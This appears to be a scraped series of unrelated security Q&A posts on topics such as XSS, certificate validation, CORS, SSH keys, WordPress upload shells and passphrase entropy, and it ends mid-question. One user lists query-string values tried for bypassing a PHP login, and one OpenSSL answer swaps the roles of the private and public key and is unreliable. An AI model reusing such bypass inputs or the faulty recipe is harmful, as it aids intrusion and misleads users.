If anyone could shed light on whether/how this would actually be a feasible method in preventing XSS, it would be much appreciated!

If I read the paper correctly, they authors seem to be proposing replacing the cookie with a separate value passed as either POSTdata or concatenated with the URL of a POST or GET request.  While it is technically true that removing the cookie and doing something else for session management makes attacking the cookie useless, the attacker will simply attack the replacement session identifier - just like you expect.

The approach attempt comes down to obfuscation.  At best, this approach will be useful if implemented on a small number of extremely low traffic sites. If it becomes commonplace, attackers will just automate their attack to go after this value as well.

It's worth noting that session identifiers have always been possible to transmit appended to the URL or in the postdata. This was originally implemented as a way to support web browsers that didn't support cookies. It's likely automated tools already look for values like this, and it won't fool a manual tester.


Which functions should I hook to check if the app contains malicious code or use deprecated methods? I am working on an Android project whose goal is to identify which Java or native functions should be hooked and monitored at runtime to check if the application contains malicious behaviour or weak programming practices.

For example, hooking the connect() allow to access the port information and detect connections that use http (80) instead of https (443), which is definitely a weak programming practice.

edit: apparently, checking the port number is not enough to know if it's http or https, and a traffic analysis would be required (thanks @André Borie).

I have identified many other potentially malicious behaviours and weak programming practices, and prepared similar hooking structures.
I wanted to ask you which functions would you hook to check if the app tries to:

1) access the SD card,

2) detect GPS,

3) access camera or microphone,

4) call premium numbers.

Also, using deprecated methods is potentially dangerous for security reasons. Therefore, I want to check if the app is using any. What I'm thinking is to use a blacklist of all known deprecated methods and then scan the app code to search for methods of that list. Would you agree with this? (consider a scenario in which there is no code obfuscation).
Same thing for weak encryption API (e.g. MD5?): how to spot them?

edit: I acknowledge the fact that not every deprecated method is deprecated due to security reasons (thanks @CommonsWare), but some of them are. How would you separate methods which have been deprecated for known security issues from the others? Would be nice to have a comprehensive list.

I understand the current scenario that your work with you want something like SAST but on runtime something that a famous security company made these days which is not in the scope of the answer. However, some suggestions may help this case which is ... If the deprecated methods which your looking for are based on program dependencies here is a suggestion which I would use java for.

Open the dependency file, java normally is pom.xml or other programming language is in another  file. Check the main version of the dependency and compare with the pom's current version i.e. if a spring version is 5.1.4 and the dependency is 5.1.2 then you may report the update believing it may imply in security purposes. By the way checking If there access to the SDCard or anything outside the app can be Done in the AndroidManifest as the example below.

<application android:allowBackup="true" ... > > Needs to be false

The second suggestion is as mentioned make a black list but instead a small database which is updated every now and then with all the deprecated methods that may cause harm due to security reasons. You may want to work with enhanced algorithm to make it work quickly because by time its gonna become big. These are the things that I would suggest.


Process and order of verification of a X.509 certificate chain While going through the rfc5280 Certificate Path Validation to understand how the X.509 certificate chain is validated, I found out that the X.509 path processing Algorithm processes the chain in an order from trust anchor to the end entity. After reading this, I am a bit confused as to how the chains are validated. Is my understanding correct that Certificate Path validation mentioned in the RFC is sufficient to validate an X.509 certificate chain ?

The Algorithm accepts 9 parameters, out of which one is

 (d)  trust anchor information, describing a CA that serves as a
       trust anchor for the certification path.  The trust anchor
       information includes:

     (1)  the trusted issuer name,

     (2)  the trusted public key algorithm,

     (3)  the trusted public key, and

     (4)  optionally, the trusted public key parameters associated
          with the public key.

How does a verifier know what trust anchor to use before the path is validated.

The outputs of this algorithm as state by the RFC is

  If path processing succeeds, the procedure terminates, returning a success indication together with final value of the valid_policy_tree, the working_public_key, the working_public_key_algorithm, and the working_public_key_parameters.

It's returning the working_public_key* attributes and a success indication. Is that sufficient.

My understanding of the X.509 chain validation.

For certificates supplied as Cert[1] signed by Cert[2] signed by Cert[3] where Cert[3] is a CA,

Find certificate responsible for Cert[1].AKID and extract public key
Verify Cert[1]'s signature and other attributes
Check if Cert[2].SKID is trusted in the system trust/loaded trust of the client performing the operation. If not found, exit with an invalid verdict.
If yes, the chain is trusted, exit with a valid verdict
If no, then repeat the steps from 1 with Cert[2].

If my understanding is correct, why is the RFC version written in such a way.

Reasons of why I think the RFC mentions the chain is processed in the reverse order

The prospective certificate path section 6.1

  (a) for all x in {1, ..., n-1}, the subject of certificate x is the issuer of certificate x+1;

  (b) certificate 1 is issued by the trust anchor;

This states that certificate is ordered from trust anchor to end entity. Also supported by Subject(x) == Issuer(x + 1). Meaning, Cert[n] is the end entity cert
Certificate processing in section 6.1.3.

 The basic path processing actions to be performed for
 certificate i (for all i in [1..n]) are listed below.

This also reads the certificates from 1, i.e. the trust anchor.
In the section for Preparation for Certificate i+1,

  To prepare for processing of certificate i+1, perform the
    following steps for certificate i:

(c)  Assign the certificate subject name to working_issuer_name.

The subject of Cert[i] is assigned to Cert[i + 1] as an issuer.

In the section for Wrap-Up Procedure

To complete the processing of the target certificate, perform the following
steps for certificate n:

This also mentions Cert[n] as the target certificate.

I think you are conflating certificate path validation with certificate path building (RFC4158). Building is most often done from the end entity by fetching the AIA URI and should include elements of validation to help guide the path to the correct destination (i.e. trust anchor). Validation is then performed on the output of the path building which necessarily always includes the trust anchor.


Why does my private OpenPGP key look different between devices? Something I noticed, when I use gpg --export-secret-keys -a on different computers:

My private key looks different, even though they are the same key pair. Is that normal or does this indicate something is not the same? The key has the same fingerprint across devices, so I assume them to be the same, especially since I exported from one and imported to another.

This is more of a troubleshooting question than a security question. I will ask several questions to help you identify the problem:

Are you using the same version of GPG on all systems?
Are you using the same encryption algorithm for the key in all cases?
Are you using GPG in all cases, or are you also using PGP?

Read: GnuPG Frequently Asked Questions question 5.7 which says:

Another possibility is this: by default, GnuPG encrypts your secret key using the Blowfish symmetric algorithm. Older PGPs will only understand 3DES, CAST5, or IDEA symmetric algorithms. Using the following method you can re-encrypt your secret gpg key with a different algo:
  $ gpg --s2k-cipher-algo=CAST5 --s2k-digest-algo=SHA1 \
        --compress-algo=1  --edit-key <username>


Detecting (and locating) rogue PXE server on a local area network The computers on our office building are (via BIOS) configured to boot PXE as first option.
This is a useful setting, as long as, when needed, we can remotely restore non-booting machines and all that stuff.

But, if someone sets up a rogue PXE server, machines could be compromised at next reboot (i.e: automatic Windows reboots), so being able to detect such server is a must.

What methods could I use to test if there is any PXE Server running on my local network?
If possible, obtaining some info (like IP or MAC) to locate this rogue server could be fine.

Assumptions:

The network already has a DHCP server running. PXE and DHCP server are not on the same device/computer.

If PXE (TFTP) server information is provided to the clients via DHCP options, then you may need to prevent that someone could set up a rogue DHCP server in the network to provide the clients with the adress of a malicious TFTP server. DHCP snooping may help you: it will allow DHCP reply messages (such as DHCPoffer) only in ports that have been configured as trusted by the network administrator. These trusted ports should be the ports where legitimate DHCP servers are connected to the network o where DHCP replies coming from the legitimate DHCP server are expected.

Besides effectively preventing rogue DHCP servers to work in your network it will also allow you to detect such servers and where they are connected if you monitor the log messages generated when DHCP snooping violations occur


Are restrictive same origin policies necessary? The question is for the security community to resolve some misunderstandings here.

The crux:

Company (Wire) has a client (official-client.com) and a server code (e.g. official-server.com  ).
CORS currently allow official-client.com to access official-server.com, but unofficial-client.com does not have access to official-server.com
The code for official-client is available for reuse for custom applications (supposedly, to host on unofficial-client.com)

The use case here is straightforward: exposing auth protected API services to others. And the definition of "others" is currently set to "official-client.com" only.

Question:
What benefit is there in not having?

Access-Control-Allow-Origin: *

To quote another article, it appears the app is not as secure if it relies on its security by restricting resource access to one domain (as the domain can be faked with DNS/local hosts). But that's not really the issue.

What am I missing?

The CORS policy prevents a malicious website from gaining access to data on other domains. For example, foo.com should not be able to read the contents of bar.com via an ajax request or similar mechanism. If you set the Access-Control-Allow-Origin header to *, it allows any domain on the internet to send a request to your domain.

By default, when no Access-Control-Allow-Origin header is set, the default SOP applies and requests can only be made from the same domain.

DNS poisoning is irrelevant here, as the purpose of CORS is to prevent the leakage of information to other hosts. If the server uses HTTPS, you will not be able to man-in-the-middle the connection or impersonate the server, which doesn't gain you anything.


Privatebin URL/key interception? I'm trying to figure out if it's possible while listening to the network to read URLs from the traffic.
Since privatebin uses the encryption key in the URL, what process could be in use to prevent spies to see the full URL?
I opened wireshark and checked what happens when I open an encrypted paste: I was surprised I couldn't see any full URL (only domains).
So it's a bit comforting, but I want to be sure I understand how I'm protected. Can you please confirm my understanding is good?
I launch my request to access the paste with the full URL containing the key.

a DNS request is launched to find the IP of the domain, if I have DoH I only see TLS traffic and not even the domain name is leaked to MITM eyes.
when my computer has the IP of the domain, a TLS tunnel is mounted.
inside the TLS tunnel http requests are being sent and received, the ones with full URLs (and therefore paste keys).

Am I right?
Also if the privatebin wbesite was not using HTTPS (only HTTP) I guess I would be able to see encryption keys right?
Thanks

a DNS request is launched to find the IP of the domain, if I have DoH I only see TLS traffic and not even the domain name is leaked to MITM eyes.

No, the domain can usually still be visible. The domain name of the website is present in cleartext, even if HTTPS is used, in the Server Name Indication (SNI). ESNI (Encrypted SNI) is being developed, but it is still a draft. Even if ESNI is used, the IP address of the server you are connecting to will be visible in the IP header of the packets you send it, so the domain name can be determined or shortlisted using a Reverse IP Lookup.

When my computer has the IP of the domain, a TLS tunnel is mounted. Inside the TLS tunnel http requests are being sent and received, the ones with full URLs (and therefore paste keys).

The paste keys are usually located in the part of the URL the follows after the # symbol. This part of the URL is not transmitted to the server and is only visible client-side. This means that even if HTTPS is not used, the encryption keys will not be visible with just a passive MitM. Of course, if TLS is not used and the attacker actively MitMs the connection (i.e. intercepts and then alters the data being exchanged), they can easily modify the webpage served to send the key from the victim's browser to them.


Generating debian SSH keys with Python (paramiko library) I'm creating a python script that generates SSH keys for my raspberry pi SD card installation before I boot the SD for the first time, so I can get the fingerprints without having to boot it for the first time for it to generate the keys

/etc/ssh $ ls
moduli                ssh_host_ecdsa_key        ssh_host_key.pub
ssh_config            ssh_host_ecdsa_key.pub    ssh_host_rsa_key
sshd_config           ssh_host_ed25519_key      ssh_host_rsa_key.pub
ssh_host_dsa_key      ssh_host_ed25519_key.pub
ssh_host_dsa_key.pub  ssh_host_key

I'm using paramiko to generate the keys. I've generated DSA, RSA and ECDSA using:

paramiko.RSAKey.generate(4096)
paramiko.DSSKey.generate(2048)
paramiko.ECDSAKey.generate(bits=521)

However, Paramiko won't generate ssh_host_ed25519_key. However, the library that paramiko uses can generate it: https://cryptography.io/en/latest/hazmat/primitives/asymmetric/x25519/

I've also noted that the signature for ecdsa.generate is:

 classmethod generate(curve=<cryptography.hazmat.primitives.asymmetric.ec.SECP256R1 object>, progress_func=None, bits=None)

Is <cryptography.hazmat.primitives.asymmetric.ec.SECP256R1 object> a class that can generate the ssh_host_ed25519_key?

I'm asking about this because I didn't want to use the cryptography.hazmat directly because of this advice:

  Danger

  This is a “Hazardous Materials” module. You should ONLY use it if
  you’re 100% absolutely sure that you know what you’re doing because
  this module is full of land mines, dragons, and dinosaurs with laser
  guns.

cryptography.hazmat.primitives.asymmetric.ec.SECP256R1 does ECDSA on SECP256R1 (RFC 5480).  ssh_host_ed25519_key is based on Bernsteins's Curve25519.  They are different curves, so the keys are incompatible.  You can possibly try inserting the alternate curve to the generate function, but you should also keep in mind that you don't have to have every key type -- it just gives you more flexibility.


Per-host authentication and configuration of ssh files I'm only starting to learn SSH.

Is it possible to have per-host authorized_keys file (eg /etc/ssh/authorized_keys) to allow passwordless login for every user of the given host?

To test I've tried to connect (to a server having my public keys in ~/.ssh/authorized_keys passed by ssh-copy-id) through ssh -i /etc/ssh/ssh_host_rsa_key.pub, although without success.

I'm not sure if the -i switch can be valid for public keys, but I've successfully tried (by checking on the remote side) ssh-copy-id -i <server> to pass the specified public key to the server to append to its user's ~/.ssh/authorized_keys file.

Is it mandatory to have ~/.ssh for every user, or is it also possible to have system-wide keys and files (such as known_hosts and authorized_keys) applicable to every user on the system?

I think per-host authentication should be possible as per-user is, but I am not certain.

It sounds like you want to use Host Based Authentication, and there is a good source of information at the OpenSSH wikibook site. Link here

Please keep in mind that any host based authentication has inherent security issues, and you should be diligent with configurations to ensure only the approved accounts and processes are allowed to utilize this feature.


How do I produce a CA signed public key? I have a need to have somebody else encrypt secret data with my public key that I can then decrypt with my private key. I have produced an RSA private/public key pair with OpenSSL gave them the public key and have everything working.

More recently, somebody pointed out that we are subject to a possible man-in-the-middle attack where the bad guys would accept my public key and pass their own public key to the other side. The other side would then dutifully encrypt the secret data, pass it to the MITM who would decrypt it, reencrypt it with my public key before passing it on to me without my being the wiser. The recommended solution is to have my public key signed by a CA that the other side trusts before passing it over.

As an experiment, I produced a CSR that I was able to sign with my own CA, but the resulting certificate contains the (encrypted) private key as well. I would rather not be passing my secret key to anybody else, encrypted or not.

Is there a way to just have my public key signed?

Signing a public key is effectively a certificate. These are the steps I take to produce a public key certificate I can distribute to other so that they may communicate securely with me:

Setup

Generate the private Keys:

  openssl genrsa -out private.pem 2048

Generate the public keys:

  openssl rsa -in private.pem -outform PEM -pubout -out public.pem

Create a CSR (Certificate Signing Request)

  openssl req -new -key private.pem -out certificate.csr

Create a Self-signed certificate (you can share this certificate)

  openssl x509 -req -days 365 -in certificate.csr -signkey private.pem -out certificate.crt

Encrypting

  openssl rsautl -encrypt -inkey private.pem -keyform PEM -in data > encrypted_data

Decrypting

Extract the Public Key from the Certificates

  openssl x509 -pubkey -noout -in certificate.crt > certpubkey.pem

Decrypt the data

  openssl rsautl -decrypt -inkey certpubkey.pem -keyform PEM -pubin -in encrypted_data > data

If you intend on having your key signed by a CA you'll have to send your CSR file (and some cash) to your CA of choice, they'll give you have the certificate you can use instead of the self-signed cert I mentioned in the steps above.


What's the difference between DoH and DoT? I'm currently studying the new technologies: DNS-over-https (DoH) and DNS-over-TLS (DoT). I already read the RFC for both of this technologies.

To test DoH, I'm working with Firefox (nigthly build). I setup the good DNS server (the one from Cloudfare)  and when I look in wireshark for HTTPS requests there is nothing.

But, if I look under SSL, there is some DoT requests. The interresting fact is that these requests are using the DNS of Cloudfare so I was thinking that was what I was looking for. Is that really my DoH requests?

Can anyone explain me the difference between those two? Or give me a hint?

In order to answer the original question, i.e. "what is the difference".

In your mind TLS may be synonymous with HTTPS, but it's not. TLS stands for "transport layer security" (formerly: SSL which was secure socket layers). SSL or TLS mean that the original protocol does not change, but that the payload packets are just transporet in a "secure" manner by using encryption on the TCP layer. (As opposed to encrypting the payload and transmitting the cyphertext over an unencryptet connection.)

So HTTPS in fact is "HTTP over SSL/TLS" in other words.

DNS over HTTPS would then translate into DNS over HTTP over SSL/TLS, which is what it means. The DNS protocol (which is not HTTP at all) is packed into an HTTP kind of wrapper format and then send over an SSL/TLS encrypted connection.

The pros and cons and the purpose of one or another are an entirely seperate story but I understand this isn't what you are asking.


Are services like "LastPass" less secure, as they have all my passwords protected by a single password? If the LastPass service has all my passwords and someone gets access to my LastPass password, this person will have access to all my passwords. Isn't that bad for security?

That's why you need to make sure you change that password regularly and make it incredible strong. (I try to surpass 128 bits)

If you don't use password managers and need to insert a lot of different passwords, you might end up re-using passwords, which is even worse. I personally always recommend to use password managers once you have to remember a lot of passwords.

Personal opinion: However I don't really like LastPass because it's web-based. Call me paranoia/conservative about it, I prefer to use a KeePass database (which is encrypted) offline or synced with Dropbox.


How can I prevent a user from copying files to another hard drive? I have a Linux machine that contains sensitive files. Users should be able to access (read) them when they are using the computer, but should not be able to copy them to another hard drive (USB stick or another hard drive that might have been added on the same machine).

The main hard drive has been encrypted, in order to prevent someone from extracting it and stealing the files.

I am free to use SELinux or other approaches in order to achieve the goal.

UPDATE:

After reading the answers, I would like to clarify:

I am not very concerned about users who may take a picture of the screen. Protecting the actual file is my main goal.
Even though protecting each and every file would have been optimal, I am mostly concerned about protecting the dataset as a whole (it is very large). Even if a few files get leaked, the damage is manageable. Moreover, due to the large amount of files, extracting them one-by-one in an inefficient way would not be practical.
The users of the computer will not be given administrative privileges.

You can disable USB storage on Linux by blacklisting the module.

modprobe -r usb-storage
echo blacklist usb-storage >> /etc/modprobe.d/10-usbstorage-blacklist.conf
echo blacklist uas >> /etc/modprobe.d/10-usbstorage-blacklist.conf

If your users have physical access to the machine, and knows the encryption keys, the game is up no matter what you do software-wise.

My suggestion would be to limit the access to physical interfaces of the machine. Lock it inside a box, and only let users interact via a keyboard, mouse and screen.

You should also note that you can't stop a user from copying something. Worst case? Take up the phone, and take pictures of the screen as they sift trough the files. Data loss prevention should in my opinion be targeted at stopping accidental copying to untrusted devices.


Classifying risk associated with specific users I understand the concept of classifying our data and associating degrees of risk with different classes of data.  My question is this - is there a precedent for classifying users the same way?  Specifically, is there a standard (like NIST or some other) that suggests classifying users and the risk associated with them the same way as one would with data?

I don't believe there are any common standards which focus upon assigning risk levels to users specifically, but there are certainly elements of this task in almost all risk management methodologies. Primarily, you want to focus upon threat actors and impact sections, as essentially you're looking to produce a risk assessment based on the access a user has, what motivation they might have to be malicious, and what the impact of them compromising data on their systems might be.

Personally, I'd start with the OWASP Risk Rating Methodology, focusing primarily on the threat actor section and technical/business impact factors sections. You should also take a look at the Further Reading section of this article, which should give you plenty of options to choose from for alternative methods of risk classification.


How do crackers upload php scripts to Wordpress' wp-content directory? I've seen a site that has been attacked by uploading php scripts (presumably some sort of shell, or code that loads a shell) to Wordpress' wp-content/uploads directory.  Usually this directory is used for user uploaded content like photos etc. This particular server was configured to then run the malicious scripts for any user on the Internet (with knowledge of the correct URL).

How does this work?  How would the cracker get wordpress to place the php file in the uploads directory without a user account? I this just the infamous and inspecific "yeah, wordpress is not secure" type of problem?

I wouldn't say that the root cause of the problem is Wordpress, but rather the fact that:

There is so many themes/plugins for Wordpress available from 3rd party developers, and people usually don't audit them before installing them. Since the entry barrier for PHP is very low, a lot of those 3rd party developers have no/poor IT security knowledge

I think one of the most possible scenario is where a Wordpress setup is configured with a plugin/theme which allows anonymous uploads. One example is the Clockstone Theme upload.php Arbitrary File Upload Vulnerability.

Basicly, you

Need to make sure unauthorized/anonymous uploads are not allowed
Move uploaded files out of the web root directory
Verify the content to make sure only what you expect gets uploaded and saved

The page on Unrestricted File Upload on the OWASP web site has some very good explanations on the subject.


PostgreSQL exploit not loading in MSFConsole from ExploitDB Just trying to get a postgreSQL exploit (32847.txt - Low Cost Function ) from exploitdb to run in msfconsole. After pulling my hair out trying to figure out why it isn't loading, here I am. I'm using Kali Linux, Debian 64 bit in Virtual Box, Windows Host.

So far here's what I've done:

Downloaded appropriate exploit from exploitdb, placed .txt into a folder that I made, .../.msf4/modules/exploits/PostgreSQL. I run ls in command line, it's there. Np.

Rerun terminal, updated db via -updatedb

Started msfconsole, and it did not load the exploit into msfdb (I can't access it via "use exploit ....". I've tried to update the db, I've tried to both copy/paste the exploit directly via GUI into the exploits folder as well as through command line.

My error is "Failed to load module: exploit/PostgreSQL/32847.txt"

Am I placing the exploit in the wrong folder or?

Please help!

There are a couple problems with what you are trying to do to use this exploit.

First, while Metasploit is an exploitation framework that any exploit could be ported to, it requires modules to conform to a few specifications. As far as I know, all modules must be written in Ruby, and need to contain configuration parameters and standard functions so that the framework can operate on it. The "exploit" linked above was certainly not designed for Metasploit, which brings us to the second problem.

If you look at that "exploit" file, not only is it not a valid Metasploit module, but it is not even a script or code at all (hence the .txt extension). The file's purpose is to tell you how to test the vulnerability manually and is not meant to be run in any way.

So, if you really want to use that exploit with Metasploit, you would need to write your own module for it.


Possible ways of exploiting PHP register_globals I have a PHP script that executes a bunch of commands to verify that a user is logged.

if (( isset ($password) && $password!="" && auth($password,$hidden_password)==1) || (is_array($_SESSION) && $_SESSION["logged"]==1 ) ){
    $aff=display("you're logged in);
} else {
    $aff=display("you're not logged in");
}

If register_globals is set to 1 in my php.ini, and I want to inject something into the URL to get authentified every time, whichever the password is, what can I do?

I already tried:

site.com/page.php?password=pass&logged=1
site.com/page.php?password=pass&_SESSION["logged"]=array("1")
site.com/page.php?password=pass&hidden_password=pass ==> returns "you're not logged in" but the thing is that I don't want to overwrite the Hidden_Password (I need it!)
I tried to play also with cookies, and other http headers, but with no results

Any hints?

To fix this specific vulnerability you need to call start_session()  before using a session variable. This way,  PHP will initiate $_SESSION and overwrite the injected values.  For the value$hidden_password,  this needs to initialized somewhere in the application and therefore cannot be controlled.

In general register_globals should be disabled!  It causes other security problems and will be removed from the language


When a sysadmin leaves what extra precautions need to be taken? If a user leaves an organisation who knew most of the top credentials are there any other precautions that need to be taken other than changing those credentials?

Obviously there is also the standard user leaving stuff like email/VPN access being revoked, mac addresses of their devices being removed from our network etc etc. but I am more worried about power or super users.

  This question was IT Security Question of the Week.
  Read the Aug 19, 2011 blog entry for more details or submit your own Question of the Week.

An admin should never have "super user credentials" that cannot be removed by simply removing his user account or move the user account to a group that lacks the permission.

An example: The admin logs in to a Linux system with his own account and uses sudo somecommand to do things that requires root permission. You don't allow this admin user to actually log in as root (and thus knowing a single root password that would have to be changed). There IS NO ROOT ACCOUNT to login to.

I think this principle can be applied to other access credentials as well.

Of course this only works if everyone actually follows the policy before they quit their job or get fired (or are moved to another part of the company). It does not protect against an admin who willingly breaks the policy and creates a back door for himself.


FortiClient VPN - WinSCP (FTP client) Can I use FortiClient VPN access to secure my FTP client transfers? Is it possible to route the FTP to use the VPN? Does it make sense to do it, is it secure if possible? The reason I am asking this is because I want to secure my access to remote Linux server w/o using Windows remote connect (the video remote connection, it is just so inconvenient).

Links to software - https://forticlient.com/, https://winscp.net/eng/download.php .

Thanks all!

FTP is an insecure protocol, you rightly want to improve on that.

There are several possibilities:

replacing it with a secured version of FTP, or moving into another transfer protocol such as SSH (the "SFTP" part)
tunneling the traffic via a VPN

You chose the second solution, it would be good to reconsider the first one to go for a native encryption of the protocol. There may be other considerations which push you towards a VPN, though.

If you use VPN, you have the following scenario:

the traffic between your client and the VPN gateway is secured
the traffic between the VPN gateway and your service (FTP in your case) is as secure as the protocol. Again in your case: not secure because FTP.

Depending on a plethora of elements, you may be OK or not with this unsecure part of the transfer. This will depend on your risk analysis, which is unique to your case.

As a side note - the vendor of the VPN does not matter for your question (provided that the implementation is correct)


/dev/random security holes I'm doing some reading into the security issues surrounding /dev/random but it's proving to be hard to find good sources of information. Can anybody help? I've asked Google and got a bunch of articles from pre-2006 so I'm assuming a lot of the issues pointed out there have been fixed. I've also been going through the source but I'm not an encryption or security expert so there's a good chance my personal analysis wont be sufficient. Any help or direction would be greatly appreciated.

EDIT: to make my question more specific, what I want to know about is how the entropy pool is mixed, how the level of the pool is estimated, and how /dev/random actually calculates its values based on what is in the pool. I want to know why things are done how they are done and what are the weaknesses of the methods used. I know how the pool is populated.

My end goal is to implement a TRNG that will populate /dev/random. Now, I can get its output (nice and white) to the pool, I just want to know if it's worth bypassing the pool completely and writing a module to directly populate /dev/random. I'm assuming here that an assailant can poison the pool to mess with the random device output.

At the moment I'm working with Ubuntu, the kernel version is 2.6.32

For many cryptographic applications, /dev/random is a secure way to gather (pseudo) random data. There are, however, several key issues that seem to be along the lines of what you're asking.

One of the issues is that it is possible to write to /dev/random. According to Wikipedia,

  It is also possible to write to /dev/random. This allows any user to mix random data into the pool. Non-random data is harmless, because only a privileged user can issue the ioctl needed to increase the entropy estimate. The current amount of entropy and the size of the Linux kernel entropy pool are available in /proc/sys/kernel/random/.

This makes sense for a non-compromised machine, however if someone has rooted a box, they could theoretically write non-random data (that appears random) to /dev/random and cause problems with cryptographic keys generated from that point forward. It's tough to determine the severity of such an attack, since if root was already compromised, more significant attack vectors would certainly exist (all software could, at that point, be backdoored).

The second set of issues, detailed in the paper Analysis of the Linux Random Number Generator (March 2006), focuses on problems with saved-state machines. This is primarily found in Linux live-cd's that have the same built-in (read-only) entropy when booting, but in today's world can also apply to virtualized machines that have states restored, or machines using software that can revert to a "known good" state upon shutdown. If the entropy can be determined upon boot, then /dev/random can be compromised (as it is a known starting value).

There are several ways to improve upon the standard /dev/random, the most well-known of which may be the Entropy Gathering Daemon (http://egd.sourceforge.net/). EGD can work as a "userspace substitute" for /dev/random, which can allow applications to have a significantly more secure PRNG.

Lastly, if you are interested in "true random" entropy, consider using a service like Random.org  which uses atmospheric noise to create true, not pseudo, random numbers.

Hope this helps!


What are good resources to do hands-on practice on network penetration testing? Can anyone provide a good list of resources to learn network penetration testing? I am specifically looking for those having hands on exercises (kind of virtual labs/ISOs) which are free. I know web-apps like Mutillidae or even Google Gruyere are good resources for learning pentesting but these are good for web-app pen-testing. I am specifically searching for Network Pen-testing exercises. Thanks a lot!

Check out the following:

Metasploitable - The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities.
Metasploitable 2 - The Metasploitable virtual machine version 2.
Damn Vulnerable Linux - Damn Vulnerable Linux (DVL) is a Slackware and Slax-based live DVD. The distribution, purposefully stuffed with broken, ill-configured, outdated and exploitable software.

Edit: Fixed url to Metasploitable


Can a dictionary attack crack a Diceware passphrase? Everyone knows the words used in Diceware passwords (all 6^5 = 7776 words are published) -- they're all common words.
Everyone seems to know that we're not supposed to use dictionary words for passwords because the "dictionary attack" can rapidly guess a single dictionary word.
So it seems reasonable to leap to the conclusion that
a dictionary attack can also guess a Diceware passphrase pretty quickly.

Can a dictionary attack mounted now (2012) crack a Diceware passphrase before 2033?

In particular, is the claim on the Diceware page "A seven word pass phrase is thought to make attacks on your passphrase infeasible through 2033." accurate?

Is that still true even if the attacker knows that I always use Diceware passphrases, and knows which language I use?

How does a five-word Diceware passphrase compare to the common recommendation of 9 "completely random-looking gibberish" characters?

(I'm asking a very specific question about the recommendations on the Diceware page, since related questions
passphrases - lowercase and dictionary words
and
XKCD #936: Short complex password, or long dictionary passphrase?
seem to get sidetracked onto things that are not really Diceware passphrases).

5 Diceware words = 77765 = 28430288029929701376 possible equiprobable passphrases.

9 random characters = 949 = 572994802228616704 possible equiprobable passwords.

The 5 Diceware words are 49.617 times better than the 9 random characters. On the other hand, 10 random characters would be almost twice as good as the 5 Diceware words (but the Diceware words are probably much easier to remember). (I assume that your "gibberish characters" are ASCII printable characters, excluding space.)

With seven words, the number of possible and equiprobable passphrases is a bit higher than 290, which is indeed quite high; even if the employed password hashing scheme has been horribly botched (no salt, simple hashing), this still exceeds by a comfortable margin what can be done with today's technology.

The important word is equiprobable. This is what makes the analysis above possible and accurate. This assumes that both your Diceware words, and the 9 "random-looking gibberish characters", are chosen with a truly random uniform process, such as, for instance, dice. And not at all by a human being in the privacy of his brain, imagining that he can make random choices out of pure thought (or, even worse, witty non-random choices). Humans are just terrible at randomness.


Security of Linux Full Disk Encryption (Ubuntu / Mint) -insecure? I'm wondering, why is Ubuntu and Mint using SHA1 for Full Disk Encryption? I heard several times that SHA1 shouldn't be used anymore because it is weak and it could be cracked.

Could you guys explain to me why we should use the default GUI encryption if we can just encrypt the system over the terminal with SHA512? Am I paranoid or is it just a lie that SHA1 has been broken?

Am I paranoid or is it just a lie that SHA1 has been broken

As you can read here and elsewhere, SHA1 is no longer that robust. You may be also interested in reading How secure is Ubuntu's default full-disk encryption?.  Check the list of supported LUKS ciphers, and For LUKS: The most preferable and safest cipher?.

Depending on the goals you are using LUKS for, maybe the answer to this question will calm you down.

Now if you are as paranoid as all the members of this website, of course LUKS is not that safe as you can read here. There are even practical and opensource tools to crack LUKS volumes.  Such as this one.

Another alternative to LUKS is the use of TRESOR or maybe you will be interested in reading Linux, TRESOR and XTS to feel safer until your next paranoid crisis :)

Regards.


Is there a functional difference between `chage -M 99999`and `chage -M -1`on Linux? My group just requested a security scan on some of our development systems and were informed that a number of system type accounts were insecure because the password did not have a maximum time limit. The scan reported only those passwords that had the -M value set to 99999 and not those with -1. Is there a functional difference?

We also found that the scan reported accounts even if they had /sbin/nologin as their login shell. Why are these an issue?

chage -M 99999: The password will be valid for 99999 days (until 21 feb 2290 if changed today)

chage -M -1: This will remove the checking of the password's validity.

So, unless your users are quite longlived (and are not going to change your systems passwords)… no, I don't see any functional difference ☺

That security scan doesn't seem too thorough.


What steps can you take to make offline cracking of SRP harder? In the aftermath of the Blizzard hack, what steps can I take to make offline cracking of SRP more difficult?

My question assumes that your database is already gone and that you implemented SRP more or less properly.

Related:  How secure is the SRP that Blizzard uses to protect passwords?

In SRP, the server stores a password-derived token, which can be used to guess the password in an offline dictionary attack (attackers tries potential passwords until a match is found). This is not a flaw of SRP: the server necessarily contains some similar password-derived data, regardless of the used authentication protocol. The magic of SRP is that no other place in the protocol yields such a password-derived data (even if the attacker tries to impersonate the server). But if the server itself is compromised (all its secrets are known to the attacker), then an offline dictionary attack is possible.

Strengthening this token involve the usual tools, i.e. salts and iterations (see bcrypt). In practice, this means that the output of bcrypt is used as "password" in SRP.


Is Thunderbolt still insecure? Has Apple fixed the Thunderbolt DMA attack when the computer is unlocked or is it unfixable since DMA is built into Thunderbolt?

I don't want to get hacked simply by plugging my Mac into a modified projector in a hotel or something.

Btw, what is the likelihood that a large company (e.g., Apple or Google) would get hacked in this manner? Could hotel projectors be replaced with modified ones without the person being caught?

Sadly, it will probably never be completely safe to plug your computer into strange things.  Even without DMA access, there are many other theoretical attacks.  As known vulnerabilities are patched, their existence suggests others may be possible.

The facilities at Google are likely well protected from any hardware tampering (or any other burglary/theft/espionage).  At a hotel, there is probably no protection at all.

Using a VGA/DVI/HDMI cable for a projector would be much safer than plugging a strange thing into the equivalent of a pci-e connector.


Two Step Authentication - Email versus Text Message versus Phone Call My bank is a bit behind on their security protocol and they are finally initiating 2-step authentication for their online banking services. However, an authentication code can be sent only by text message, phone call, or email. I'm disappointed they will not permit the use of an authentication app, but it appears they have decided to forego this option, at least for now. Given the 3 options (text message, phone call, email), which is most secure when receiving authentication codes?

Are you in Canada or something?  Multi factor authentication has been required in the United States since 2006 for all banks.

Any out of bank authentication (email, SMS, and voice) is fine and are roughly equal.  The codes they use are single use and expire within a short amount of time so there is no black market on which hackers can sell them.

If I were forced to rank them from least secure to most secure, I would list them as

Email - Probably the easiest to intercept
SMS - Could be recovered from your inbox somehow, I suppose
Voice - Only works in real time and requires a human being to listen to it


How does debit/credit card shimming work? Correct me if I'm wrong, but before EMV cards were introduced in the U.S., thieves would use card skimmers on ATMs and point-of-sale (POS) terminals (such as gas pumps) to steal the CVV1, which would allow them to create counterfeit cards and purchase things in stores, but they would still be unable to purchase things online, because they lacked access to the CVV2 number on the back of the card.

